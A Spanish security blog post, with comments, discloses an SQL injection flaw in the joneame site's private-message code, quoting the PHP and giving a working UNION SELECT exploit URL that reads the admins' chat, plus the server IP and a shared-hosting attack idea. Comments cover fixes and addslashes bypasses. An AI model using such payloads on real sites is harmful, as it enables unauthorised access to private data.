Esta es una de esas entradas, que se que me insultarán por haberla escrito, y que, al haberla enviado yo mismo a menéame, me crucificarán por ello, pero mis principios me obligan a publicarlo, por que no estoy de acuerdo con que se compare un servicio profesional como meneame, con uno amateur, como joneame, y mucho menos aún, que solo esté permitido críticar a uno, y al otro no. Así que ahí va 
Como muchos sabréis, joneame es un clon de meneame, realizado por un joven vasco, el cual además de crear un clon de meneame utilizando el código original, ha hecho ciertas modificaciones, para agregar funcionalidades.
Una de las modificaciones mas interesantes, es la de intercambiar mensajes privados entre usuarios.
Sin embargo, estas modificaciones se han hecho sin preocuparse en absoluto por la seguridad, lo cual ha llevado, a que joneame es extremadamente inseguro.
Ayer auditando el código de joneame, encontré un agujero de seguridad de tipo SQL injection, un agujero tan grave que permite tomar el control del servidor (usando load_file e into outfile), por el cual cualquier usuario puede ser suplantado, y cualquier información en joneame: manipulada.
El agujero está en backend/ezbatu_mezua.php, aquí:
$id = $_REQUEST['mid'];
$nondik = $_REQUEST['mota'];$mezua = new Mezu;
$mezua->id = $current_user->user_id;
$mezua->jaso_mezua($id, $nondik);
Este fichero lee un mensaje privado dado su id, (el parámetro ‘mid’), sin embargo, el valor recogido vía GET, es pasado a jaso_mezua, sin sanear, y en esa función, se hace:
function jaso_mezua($zein, $nondik) {
global $db;if ($nondik == ‘inbox’)
$mezu = $db->get_row(“SELECT * FROM mezuak WHERE nori=”.$this->id.” AND id=”.$zein.” LIMIT 1″);
Siendo $zein el parametro ‘mid’ que entró por la URL, sin sanear.
Por lo cual, explotar el bug es tan fácil como enviarnos un mensaje privado desde cualquier usuario, ir a la sección mensajes privados, y hacer click en el mensaje privado recibido, entonces, veremos un enlace tal como:
http://joneame.net/backend/mezuak_ikusi.php?id=ID_DE_TU_USUARIO_AQUI&md5=CLAVE_DE_CONTROL_AQUI&mid=NUMERO_DE_MENSAJE_AQUI&mota=inbox
Entonces, basta con agregar sentencias sql a continuación del número de mensaje, por ejemplo, así:
http://joneame.net/backend/mezuak_ikusi.php?id=ID_DE_TU_USUARIO_AQUI&md5=CLAVE_DE_CONTROL_AQUI&mid=-99%20union%20select%20chat_uid,2,chat_uid,4,chat_text,6,7%20from%20chats%20where%20chat_room%20=%20%27admin%27%20and%20chat_uid%20!=%2041%20and%20chat_uid%20!=%20213%20and%20chat_uid%20!=%2034&mota=outbox&eg=0
Eso serviría para leer la fisgona de administradores que tienen en joneame, sin necesidad de ser administrador.
Además de este bug, otro problema que tiene joneame, es que está instalado en un servidor compartido, por lo que si encontrasen una vulnerabilidad en una web que se hospeado a su lado, podrían espiar tu privacidad en joneame (datos privados de tu cuenta, etc).
Un atacante puede determinar que sites se hospedan junto a joneame, haciendo una petición de dns inversa, sabiendo que la ip de joneame .net es: 87.98.228.106
Utilizando un servicio público de dns inverso:
Vemos las páginas hospedadas junto a joneame, que ser comprometidas, lo sería también joneame.
Lo que quiero decir con este post, es que la gente sin conocimientos técnicos, puede verse tentado por joneame, o servicios similares, pero siempre es recomendable utilizar servicios profesionales, que estén en su propio servidor, y que su código esté medianamente controlado y revisado.
Algunos de estos problemas de seguridad ya han sido notificados al dueño de joneame, con quien he hablado vía mail. y me ha confirmado que está al tanto de los problemas de seguridad, otros problemas de seguridad, como lo del hosting compartido son inherentes de la infraestructura de joneame, y no pueden ser solventados, desgraciadamente.
Jcarlosn, con lo inteligente que eres ¿por qué no montas tú una página parecida a meneame u otra cosa que se te ocurra?
¿Tienes algún proyecto web?
Si, eyeOS, lo he comentado varias veces en varios artículos.
Un saludo.
Ya he tenido que borrar varios comentarios insultandome.
Para el que no lo entienda: a mi meneame me da igual, he publicado mas agujeros de seguridad de meneame que de joneame, ya que de este último, es el primero que público…
A mi vuestras batallitas con meneame, me importan un pimiento, esto es un blog de informática y seguridad, no toma parte en nada.
Muy buenas:
Descubrí recientemente tu blog y me parece genial, siempre me han intrigado estos temas, pero en mi carrera ( Teleco ) no se ve casi nada de programación.
Me gustaría hacerte 2 preguntas respecto a este tema:
Cuando programo en PHP, al recibir datos desde fuera los meto entre addslashes(); este addslashes servería pa evitar la SQL injection que comentas no? o es necesario algo más?.
Lo otro es que, me has dejado a medias con lo de servidor compartido, si yo tengo una base de datos en un servidor compartido. mi base de datos no está protegida de mirones ?
Se que para el tema de tarjetas de créditos y tal es condición necesaria tener servidor privado. Pero de que manera es vulnerable la base de datos. Cualquier enlace al respecto sería de gran interés para mi.
Gracias y a seguir así!!
Sugerencia: podrías añadir en siguientes post, la forma de solucionarlo ?
Hola Ksswa,
Lo correcto para evitar el sql injection es utilizar http://es2.php.net/mysql_real_escape_string.
Acerca de lo de la base de datos, el problema reside en que normalmente, el apache corre con el mismo usuario para todos, entonces, el apache necesita permisos de lectura sobre los archivos php que contienen la password de la base de datos (para el mysql_connect), entonces, si yo comprometo un site de terceros, alojado a tu lado, puedo ejecutar un .php que lea tu archivo php, mire el contenido y sacar tus credenciales mysql.
Un saludo.
La verdad es que no haber saneado esa query tiene huevos.
Gracias por la info, pensaba que addslahes es suficiente, pero por ejemplo http://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string, una forma de saltarse esa limitación.
También he encontrado otras formas de realizar consultas añadidas sin necesidad de comillas ( que es de lo que protege básicamente addslashes ).
Incluso en el propio php.net te dicen que no uses addslashes cuando trabajes con base de datos, mejor mysql_real_escape_string().
Bueno, sólo quería escribir un post con la información que he encontrado de forma más uniforme para otros que puedan buscar esto mismo
Una última cosa cuando dices ‘el problema reside en que normalmente, el apache corre con el mismo usuario para todos,’ eso incluye servidores como Dreamhost ? Es que tal como lo cuentas, parece bastante sencillo, por no decir que uno podría crear su propia cuenta en el servidor introducir un sistema vulnerable y sacar la info de otras páginas alojadas en el mismo server compartido…
Un Saludo.
Ksswa, si, eso incluye servidores como dreamhost, aunque no conozco su configuración concreta.
Normalmente, es tan fácil como dices: creas una cuenta, y desde ahí, atacas.
Este tipo de ataques es uno de los mas típicos en el mundillo underground, para solucionarlo basta con utilizar suPHP o suexec, para que php corra con los permisos del usuario dueño de los ficheros php, y no como ‘apache’ o ‘www-data’ o ‘nobody’ para todos.
Un saludo!
Sigue asi y no le tomes inportancia a los malos comentarios. Realmente admiro tu trabajo y tu decicion al publicar este tipo de articulos publicamente.
Visiten mi blog, actualizado a diario. Poco a poco va mejorando pero necesitamos sus visitas y comentarios.
http://codigodeamor.wordpress.com/
Gracias de nuevo!
He estado indagando respecto a Dreamhost y su modalidad compartida, según su wiki:
Suexec
From DreamHost
Jump to: navigation, search
suexec allows Apache to run CGI programs using a user id other than that of the Apache process. Suexec significantly reduces many of the security risks associated with running CGIs. Suexec is enabled for DreamHost users, and cannot be disabled.
Dentro de lo que cabe está protegido.
También les he enviado un ticket al respecto a ver que cuentan.
hasta otra
Excelente artículo y como lo mencionan arriba, ignorar a los troles xd, saludos.
Hola Juan Carlos
Primera vez que leo tu blog. El artículo me parece interesante, pero el poner todos los nombres y el “se han comunicado algunos de los fallos”, sinceramente, me parecen ganas de joder a Joneame, y más viendo la historia con Menéame.
Leo que dices que toda la historia te da igual, y como no te conozco no juzgo (faltaría). Sólo te cuento qué es lo que me parece.
Por lo demás, majo. Seguiré leyéndote.
Sigo dandole vueltas a este tema…
Vale es cierto que lo correcto es usar mysql_real_escape_string().
Pero usando addslashes y dependiendo de la consulta es harto dificil obtener nada no?
Por ejemplo para esta consulta:
$query=”select * from usuarios where email=’$email’”;
Donde $email=addslashes($_POST['email']);
De que manera rompes la consulta original? tienes que ingeniartelas para construirte un (‘) para escapar del campo email. y hasta donde he encontrado, necesitas tener la base de datos en lenguaje GBK ( en chino literalmente ) para construirte el caracter 0×27 (‘).
A todo esto suponiendo que te crees ese (‘) artificial, en PHP no puedes concatenar consultas es decir que como como máximo podrías obtener una consulta así:
$query=”select * from usuarios where email=’$email’ OR 1=1″;
Pero para la consulta que estamos tratando no obtendrías ningún beneficio ya que luego se recogen los datos por ejemplo así:
$nombre=$row['nombre'];
(Vale que para un login si te puede servir, pero esto es si has conseguido fabricar un ‘
Por cierto encontré esta pedazo de chuleta de SQL injection:
http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/
Saludos.
En realidad, podrías utilizar union select exactamente igual
has pruebas tu mismo, y lo verás.
con la consulta
select * from usuarios where email=’$email’
puedes usar UNION SELECT si esta filtrado con addslashes?!!!!
Fijate si estoy leyendo sobre el tema que he llegado a un post de un tío que putxxx a los de wordpress por usar addslashes para sanear las entradas. ( allá por el 2005 jejejejj )
No has comentado el error de n00b más obvio: ¿¿qué cojones hacen programando en vasco?? xD
hola..me parece muy interesante .. y creo q sabes mucho..
me gustaria hacerte un par de consultas.
quisiera encontrar un agujero en una pagina web en php con base de datos en apache.
que tipo de detalles tendria q mirar ??
he mirado el codigo fuente de esa pagina..pero seguro no esta tan facil..
es un juego online con una pagina principal para login..
que me sugieres tu?
Sería interesante saber cuántos comentarios has tenido que borrar hasta ahora.
Mira la que hay montada aqui:
http://freesoftwareando.com/4360/joneame-el-quiero-y-no-puedo/#comments
un saludo, y enhorabuena por esta web.